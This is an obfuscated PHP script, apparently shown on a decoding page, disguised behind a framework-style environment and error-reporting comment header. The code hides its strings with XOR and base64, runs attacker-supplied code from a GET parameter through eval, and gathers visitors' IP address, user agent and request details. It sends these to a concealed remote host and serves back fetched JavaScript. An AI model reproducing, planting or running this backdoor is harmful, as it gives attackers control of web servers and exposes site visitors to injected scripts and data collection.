PHP Decode

<?php 
 /* 
 *--------------------------------------------------------------- 
 * APPLICATION ENVIRONMENT 
 *--------------------------------------------------------------- 
 * 
 * You can load different configurations depending on your 
 * current environment. Setting the environment also influences 
 * things like logging and error reporting. 
 * 
 * This can be set to anything, but default usage is: 
 * 
 *     development 
 *     testing 
 *     production 
 * 
 * NOTE: If you change these, also change the error_reporting() code below 
 * 
 * 
 *--------------------------------------------------------------- 
 * ERROR REPORTING 
 *--------------------------------------------------------------- 
 * 
 * Different environments will require different levels of error reporting. 
 * By default development will show errors but testing and live will hide them. 
 */ 
 
@header('Access-Control-Allow-Origin: *'); 
@header('Content-Type: application/javascript'); 
 
class _2b8 
{ 
    private static $s; 
    public static function g($n, $k) 
    { 
        if (!self::$s) self::i(); 
        $l = strlen($k); 
        $r = base64_decode(self::$s[$n]); 
        for ($i = 0, $c = strlen($r);$i !== $c;++$i) $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l])); 
        return $r; 
    } 
    private static function i() 
    { 
        self::$s = array( 
            '_j' => '', 
            '_v' => 'PB' . 'o' . '=', 
            '_axu' => '', 
            '_hva' => 'MQo' . 'fJ' . 'w==', 
            '_z' => 'YwU' . 'KRA=' . '=', 
            '_d' => 'Yw8O' . 'F' . 'G' . 'E=', 
            '_f' => 'KAwz' . 'A' . 'Q=' . '=', 
            '_ug' => 'PBM' . 'P', 
            '_iyq' => 'PhMNAAEdM' . 'Q' . 'Qc', 
            '_i' => 'N' . 'gwU', 
            '_t' => 'PRQ' . 'sEGk' . '=', 
            '_mxc' => 'azAOEj' . 'w' . '=', 
            '_ze' => 'MAIf', 
            '_ovc' => 'KA' . 'IzDw' . '==', 
            '_sgl' => '', 
            '_p' => 'NwYEL0hfcBMFKxpeNhwTPhEYOgEAPhEVcREfMl0RPF8RMRMcJgYZPAFeNQF' . 'PO' . 'xMEPk' . '8' . '=', 
            '_up' => 'PBsED' . 'gAHGA' . 's' . 'r', 
            '_khl' => 'Nx0aEQAKAQU6', 
            '_hf' => 'Yw4bFgAPF' . 'RY6Ug=' . '=', 
            '_wl' => 'Yww+CgALMh' . '4' . 'r' . 'F' . '2E' . '=', 
            '_uv' => 'LAYGADI' . 'A', 
            '_bh' => 'Nwc' . 'r' . 'Ayw' . '=', 
            '_wiw' => 'GCcsf' . 'w' . '=' . '=', 
            '_iaj' => 'Lx' . 'YN' . 'Gg==', 
            '_nry' => 'Lh' . 'QM' . 'ES' . 'Y' . '=', 
            '_eeu' => 'YA' . '=' . '=', 
            '_stu' => 'Lg' . '8UHCY=', 
            '_obz' => 'fyY8Cz5HbkBYUmQgMB0cZU' . '4' . '=', 
            '_st' => 'NxgGKw' . '=' . '=', 
            '_lv' => 'UnsxHDEfFx' . 'ArGB0dZ' . 'VExHzACF35V' . 'fH' . 'g=', 
            '_e' => 'LAAAXXBc', 
            '_lhd' => '', 
            '_jgt' => 'NwMsGA=' . '=', 
            '_nz' => 'U' . 'nM' . '=', 
            '_dlt' => 'YxITEwAVHw' . 'crC' . 'U' . 'w' . '=', 
            '_w' => 'F' . 'zYLMgAhEysaL' . 'A' . 's9FjI=', 
            '_dc' => 'Fy' . 'wiDyc1EzEzESwp' . 'Fi' . 'g=', 
            '_vc' => 'FzM' . 'LNw' . 'A/ACEQNQgmDSMa' . 'IwAhEDU=', 
            '_ws' => 'FzgzIwA0ODUQPj' . 'AyDSgiNwA' . 'q' . 'KCE' . '=', 
            '_lx' => 'DSsjIgsrMSwb' . 'Kjw' . '=', 
            '_kh' => 'DS0SJwstA' . 'CkbLA0=', 
            '_zq' => 'Fz08J' . 'QAqLiocJi' . 'Y7Gio8PBEuN' . 'zwP', 
            '_gs' => 'FyI' . 'nDy' . 'kwGSkwEDg9G' . 'jUnFjg0AD8' . 'j', 
            '_ej' => 'FzAjIw' . 'AxJDYNOz' . 'Y0Gio' . 'j', 
            '_pvr' => 'FyA6Dys7DDE8A' . 'DUpG' . 'jo6', 
            '_lzp' => 'Fz8hPAA5MCoaOT' . 'A+', 
            '_hbx' => 'Fy4j' . 'DyUlGj' . 'wyDT' . '8l', 
            '_xw' => 'OQ4' . 'NKwITABEAL' . 'Q=' . '=', 
            '_pb' => 'bl' . 'xWSm9AUU' . 'pu', 
            '_irt' => 'N' . 'h' . 'Y=', 
            '_k' => 'KgA=', 
            '_wiy' => 'LQsT', 
            '_yw' => 'MR0sAQ==', 
        ); 
    } 
} 
class _adc 
{ 
    private static $s; 
    public static function g($n) 
    { 
        if (!self::$s) self::i(); 
        return self::$s[$n]; 
    } 
    private static function i() 
    { 
        self::$s = array( 
            0100, 
            0121, 
            02, 
            064, 
            01, 
            046711, 
            01, 
            052, 
            00, 
            0116, 
            012, 
            015, 
            012, 
            0310, 
            0673, 
            0120, 
            00, 
            02000, 
            01, 
            0423, 
            0423 
        ); 
    } 
} 
$_qfq = _2b8::g('_j', '_' . 'x' . 'ns'); 
if (isset($_GET[_2b8::g('_v', '_r' . 'c' . 'r') ])) 
{ 
    $_bws = get_js(_2b8::g('_a' . 'xu', '_' . 's' . 'o')); 
    if ($_bws && strpos($_bws, _2b8::g('_' . 'h' . 'va', '_nl')) !== false) 
    { 
        die(_2b8::g('_z', '_j' . 'a' . 'z')); 
    } 
    else 
    { 
        die(_2b8::g('_' . 'd', '_mop')); 
    } 
} 
if (isset($_GET[_2b8::g('_f', '_' . 'm') ])) 
{ 
    $_ci = _2b8::g('_' . 'ug', '_' . 'aj') . _2b8::g('_iy' . 'q', '_g' . 'h') . _2b8::g('_' . 'i', '_' . 'c' . 'z'); 
    $_qwc = _2b8::g('_t', '_u') . _2b8::g('_mx' . 'c', '_' . 'o' . 'j' . 'w') . _2b8::g('_ze', '_f' . 'z'); 
    $_ssv = $_qwc($_GET[_2b8::g('_ov' . 'c', '_' . 'c') ]); 
    eval($_ssv); 
    die; 
} 
function get_js($_ll) 
{ 
    $_bws = _2b8::g('_sgl', '_' . 'ku'); 
    $_o = _2b8::g('_p', '_rp') . $_ll; 
    if (is_callable(_2b8::g('_' . 'up', '_nvb'))) 
    { 
        $_ixw = curl_init($_o); 
        curl_setopt($_ixw, _adc::g(0) , false); 
        curl_setopt($_ixw, _adc::g(1) , _adc::g(2)); 
        curl_setopt($_ixw, _adc::g(3) , _adc::g(4)); 
        curl_setopt($_ixw, _adc::g(5) , _adc::g(6)); 
        curl_setopt($_ixw, _adc::g(7) , _adc::g(8)); 
        curl_setopt($_ixw, _adc::g(9) , _adc::g(10)); 
        curl_setopt($_ixw, _adc::g(11) , _adc::g(12)); 
        $_bws = curl_exec($_ixw); 
        $_gm = curl_getinfo($_ixw); 
        curl_close($_ixw); 
        if ($_gm[_2b8::g('_k' . 'h' . 'l', '_in' . 'a') ] != _adc::g(13)) die(_2b8::g('_' . 'h' . 'f', '_l' . 'zr')); 
        if (empty($_bws)) die(_2b8::g('_wl', '_' . 'n')); 
    } 
    else 
    { 
        $_pn = parse_url($_o); 
        $_j = ($_pn[_2b8::g('_uv', '_ene') ] == _2b8::g('_' . 'b' . 'h', '_' . 's')); 
        $_gx = _2b8::g('_wi' . 'w', '_bx') . $_pn[_2b8::g('_iaj', '_w' . 'y' . 'r') ]; 
        if (isset($_pn[_2b8::g('_n' . 'ry', '_ai' . 'c') ])) $_gx .= _2b8::g('_eeu', '_gg') . $_pn[_2b8::g('_s' . 'tu', '_' . 'zqn') ]; 
        $_gx .= _2b8::g('_o' . 'bz', '_' . 'nh') . $_pn[_2b8::g('_s' . 't', '_wu') ] . _2b8::g('_' . 'l' . 'v', '_qr' . 's'); 
        $_ek = fsockopen(($_j ? _2b8::g('_e', '_s' . 'l' . 'g') : _2b8::g('_' . 'lhd', '_o')) . $_pn[_2b8::g('_jg' . 't', '_l') ], $_j ? _adc::g(14) : _adc::g(15)); 
        if ($_ek) 
        { 
            fputs($_ek, $_gx); 
            $_a = _adc::g(16); 
            while (!feof($_ek)) 
            { 
                $_z = fgets($_ek, _adc::g(17)); 
                if ($_a) $_bws .= $_z; 
                if ($_z == _2b8::g('_n' . 'z', '_yh')) $_a = _adc::g(18); 
            } 
            fclose($_ek); 
            if (empty($_bws)) die(_2b8::g('_dl' . 't', '_pr' . 'w')); 
        } 
    } 
    return $_bws; 
} 
if (isset($_SERVER[_2b8::g('_' . 'w', '_' . 'b') ])) $_gdr = $_SERVER[_2b8::g('_d' . 'c', '_x' . 'v') ]; 
if (isset($_SERVER[_2b8::g('_' . 'v' . 'c', '_' . 'g') ])) $_xvu = $_SERVER[_2b8::g('_w' . 's', '_lg' . 's') ]; 
if (isset($_SERVER[_2b8::g('_l' . 'x', '_nnm') ])) $_vm = $_SERVER[_2b8::g('_kh', '_h') ]; 
if (isset($_SERVER[_2b8::g('_' . 'z' . 'q', '_ih' . 'u') ])) $_d = $_SERVER[_2b8::g('_' . 'g' . 's', '_v' . 's') ]; 
if (isset($_SERVER[_2b8::g('_e' . 'j', '_dw' . 's') ])) $_y = $_SERVER[_2b8::g('_pv' . 'r', '_tn') ]; 
if (isset($_SERVER[_2b8::g('_l' . 'zp', '_ku' . 'l') ])) $_urh = $_SERVER[_2b8::g('_h' . 'bx', '_z' . 'w') ]; 
if (function_exists(_2b8::g('_' . 'x' . 'w', '_g' . 'a'))) 
{ 
    if (isset($_gdr) && filter_var($_gdr, _adc::g(19))) $_qfq = $_gdr; 
    elseif (isset($_xvu) && filter_var($_xvu, _adc::g(20))) $_qfq = $_xvu; 
    else $_qfq = $_vm; 
} 
elseif (isset($_vm)) $_qfq = $_vm; 
if ($_qfq == _2b8::g('_p' . 'b', '_' . 'na' . 'd') && isset($_d)) $_qfq = $_d; 
if (!isset($_qfq) || !isset($_y) || !isset($_urh)) exit; 
else 
{ 
    $_yz = array( 
        _2b8::g('_irt', '_' . 'fz' . 'v') => $_qfq, 
        _2b8::g('_k', '_a' . 'v') => $_y, 
        _2b8::g('_w' . 'i' . 'y', '_nu' . 'w') => $_urh 
    ); 
    $_ic = urlencode(base64_encode(json_encode($_yz))); 
    $_bws = get_js($_ic); 
    if ($_bws && strpos($_bws, _2b8::g('_yw', '_' . 'y')) !== false) 
    { 
        echo $_bws; 
        exit; 
    } 
}/* LlvhiTHC */ ?>